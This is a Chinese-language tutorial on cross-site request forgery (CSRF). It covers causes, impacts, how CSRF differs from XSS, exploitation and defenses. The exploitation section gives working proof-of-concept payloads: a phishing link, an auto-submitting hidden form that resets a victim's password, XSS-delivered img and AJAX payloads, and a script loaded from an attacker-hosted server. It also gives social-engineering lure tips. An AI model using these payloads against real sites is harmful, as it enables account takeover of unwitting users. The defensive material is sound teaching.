CSRF 跨站请求伪造
产生原因
跨站请求伪造(CSRF,Cross-Site Request Forgery)是一种常见的网络攻击方式,其核心原因是开发者在设计和实现 Web 应用时,没有对用户提交的参数进行严格的校验。攻击者利用这一点,通过伪造合法用户的请求,诱导受害者在不知情的情况下执行非预期的操作。
CSRF 攻击通常发生在用户已经通过身份验证并持有有效会话的情况下,攻击者利用受害者的身份凭据(如 Cookie 或 Session ID)发起恶意请求。由于服务器无法区分这些请求是来自合法用户还是攻击者伪造的,因此可能导致严重的安全问题。
CSRF 攻击的根本原因包括以下几点:
- 缺乏请求来源验证:服务器没有验证请求的来源是否合法,例如是否来自受信任的域名。
- 未使用唯一性标记:请求中没有包含只有合法用户才能知道的动态参数。
- 可预测的请求参数:攻击者能够轻易猜测或构造请求所需的参数。
- 持久化身份验证:浏览器自动发送 Cookie,导致攻击者可以利用受害者的会话状态。
危害
CSRF 攻击的危害主要体现在攻击者能够以受害者的身份执行未经授权的操作,可能导致以下后果:
账户安全威胁:
- 盗号:攻击者诱导受害者修改账户密码、绑定手机号或邮箱等关键信息。例如,通过伪造的密码修改请求将密码更改为攻击者控制的密码。
- 敏感信息泄露:诱导受害者在不知情的情况下发送敏感信息(如个人资料、银行账户信息)到攻击者指定的服务器。
个人信息篡改:
- 修改用户资料:攻击者可能诱导受害者更改头像、昵称、地址等信息,从而影响用户体验或为后续攻击铺垫。
- 恶意操作:在社交平台上,攻击者可能伪造请求发布不当内容,损害受害者的声誉。
执行高危操作:
- 如果目标网站具备命令执行功能,攻击者可能诱导受害者执行危险的系统命令,导致服务器被控制。
- 在金融或电商网站,攻击者可能伪造转账、支付或购买请求,造成经济损失。
业务逻辑破坏:CSRF 攻击可能破坏网站的正常业务流程,例如取消订单、修改权限等,导致用户或平台的损失。
CSRF 与 XSS 的区别
定义:
- CSRF:跨站请求伪造,攻击者伪造合法用户的请求,诱导受害者在已登录的会话中执行非预期操作。
- XSS:跨站脚本攻击,攻击者通过注入恶意脚本(如 JavaScript)在受害者的浏览器中执行,窃取用户数据或直接操作用户账户。
利用方式:
- CSRF:攻击者不窃取用户的 Cookie 或 Session ID,而是利用受害者已有的会话状态,通过诱导点击恶意链接或提交恶意表单完成攻击。
- XSS:攻击者通过注入脚本直接窃取 Cookie、Session ID 或其他敏感信息,或直接以受害者身份登录系统。
攻击目标:
- CSRF:目标是诱导用户执行特定操作(如修改密码、转账等),攻击者无需控制受害者账户。
- XSS:目标通常是窃取用户凭据或直接控制用户账户。
挖掘
CSRF 漏洞存在的前提是请求中的所有参数都可被攻击者控制,且这些参数能够被轻易猜测或构造。如果 CSRF 漏洞无法诱导受害者执行高危操作(如修改密码、转账等),则通常不被视为高危漏洞。
利用
GET 型的 CSRF 漏洞利用
GET 型 CSRF 漏洞通常通过构造恶意 URL 诱导受害者访问来触发。攻击者可以利用社交工程手段(如钓鱼邮件、即时消息)诱导受害者点击链接。
利用步骤:
找到高危功能:例如,退出登陆的 URL 为
http://192.168.31.192/logout.php
。构造恶意链接:直接使用该 URL 作为攻击 Payload。
诱导受害者访问:
- 通过社交平台(如微信、QQ)发送伪装成正常内容的链接,如“点击查看精彩内容:http://192.168.31.192/logout.php”。
- 将链接嵌入钓鱼网站,伪装成抽奖、预约等页面,诱导受害者点击。
- 使用短链接服务隐藏真实 URL,增加诱导成功率。
验证效果:受害者点击链接后,服务器会认为请求来自合法用户,从而执行退出登录操作。
示例:
<!-- 构造一个简单的钓鱼页面 -->
<!DOCTYPE html>
<html>
<head>
<title>免费领取礼品</title>
</head>
<body>
<h1>点击领取免费礼品!</h1>
<a href="http://192.168.31.192/logout.php">立即领取</a>
</body>
</html>
POST 型的 CSRF 漏洞利用
POST 型 CSRF 漏洞需要构造 HTML 表单或使用 JavaScript 自动提交请求。由于 POST 请求通常涉及表单提交,攻击者需要创建一个恶意页面并诱导受害者访问。
利用步骤:
- 捕获目标请求:使用抓包工具(如 Burp Suite)捕获目标修改密码的 POST 请求的 URL 和参数。
- 构造恶意表单:根据捕获的请求,生成一个自动提交的 HTML 表单。
- 托管恶意页面:将恶意页面托管在攻击者控制的服务器上(如
http://192.168.126.99:8000
)。 - 诱导访问:通过社交工程手段(如钓鱼邮件、短信)诱导受害者访问恶意页面。
- 触发攻击:受害者访问页面后,表单自动提交,触发目标操作(如修改密码)。
示例代码(修改密码的 POST 型 CSRF):
<!-- CSRF PoC - 修改受害者密码 -->
<html>
<body>
<!-- 创建一个隐藏表单,自动提交修改密码请求 -->
<form action="http://192.168.31.205/change_password.php" method="POST">
<!-- 隐藏字段:新密码 -->
<input type="hidden" name="new_password" value="123" />
<!-- 隐藏字段:确认新密码 -->
<input type="hidden" name="confirm_password" value="123" />
<!-- 提交按钮(可隐藏) -->
<input type="submit" value="Submit request" />
</form>
<script>
// 修改浏览器的历史记录,隐藏真实URL
history.pushState('', '', '/');
// 自动提交表单
document.forms[0].submit();
</script>
</body>
</html>
XSS + CSRF 组合利用
XSS 和 CSRF 结合可以显著提升攻击效果。XSS 可以用来动态注入 CSRF 攻击的 Payload,从而实现自动化攻击,同时可以实现持久性攻击。
例子 1:自动登出(GET 型)
CSRF Payload:http://192.168.31.205/logout.php
XSS Payload:
<!-- 使用<img>标签触发GET型CSRF -->
<img src="http://192.168.31.205/logout.php">
说明:
- 当受害者访问包含 XSS 漏洞的页面时,
<img>
标签会自动触发对logout.php
的 GET 请求,导致用户被退出登录。
例子 2:自动修改密码(POST 型)
CSRF Payload:
// 使用jQuery发送POST请求修改密码
$.ajax({
// 目标URL:受害者的密码修改接口
url: 'http://192.168.31.205/change_password.php',
// 请求方法:POST
type: 'POST',
// 请求内容类型
contentType: 'application/x-www-form-urlencoded',
// 提交的数据:新密码和确认密码
data: 'new_password=123&confirm_password=123'
});
XSS Payload:
<!-- 引入jQuery库 -->
<script src="https://code.jquery.com/jquery-1.12.4.min.js"></script>
<!-- 加载攻击者的恶意脚本 -->
<script src="http://192.168.31.109:8000/exp.js"></script>
说明:
- 攻击者在包含 XSS 漏洞的页面中注入以上代码。
- 当受害者访问页面时,浏览器会加载
exp.js
并执行其中的$.ajax
请求,自动提交修改密码的 POST 请求。 - 受害者的密码将被改为
123
,且整个过程对受害者不可见。
修复和防御
为了有效防止 CSRF 攻击,开发者可以采取措施,添加一个无法确定的参数,例如修改密码时要求用户输入当前密码,手机验证码,生物识别,安全问题,图形验证码等。
可以采取的措施实例
使用 CSRF Token:
在每个涉及敏感操作的请求中,添加一个随机生成的 CSRF Token。
Token 应存储在服务器端(如 Session 中),并在客户端通过隐藏字段或请求头传递。
服务器验证 Token 是否匹配,防止未授权的请求。
示例(HTML 表单):
<!-- 在表单中添加CSRF Token --> <form action="/change_password.php" method="POST"> <!-- 隐藏字段:CSRF Token --> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <!-- 其他表单字段 --> <input type="password" name="new_password"> <input type="submit" value="提交"> </form>
要求额外身份验证:
对于高危操作(如修改密码、转账),要求用户提供额外的身份验证信息,如:
- 当前密码
- 手机验证码
- 生物识别(如指纹、面部识别)
- 安全问题
- 图形验证码
验证 HTTP Referer 头:
- 检查请求的
Referer
头,确保请求来自可信任的域名。
- 检查请求的
限制请求方法:
- 对于敏感操作,仅允许 POST 请求,并禁止 GET 请求执行修改操作。
······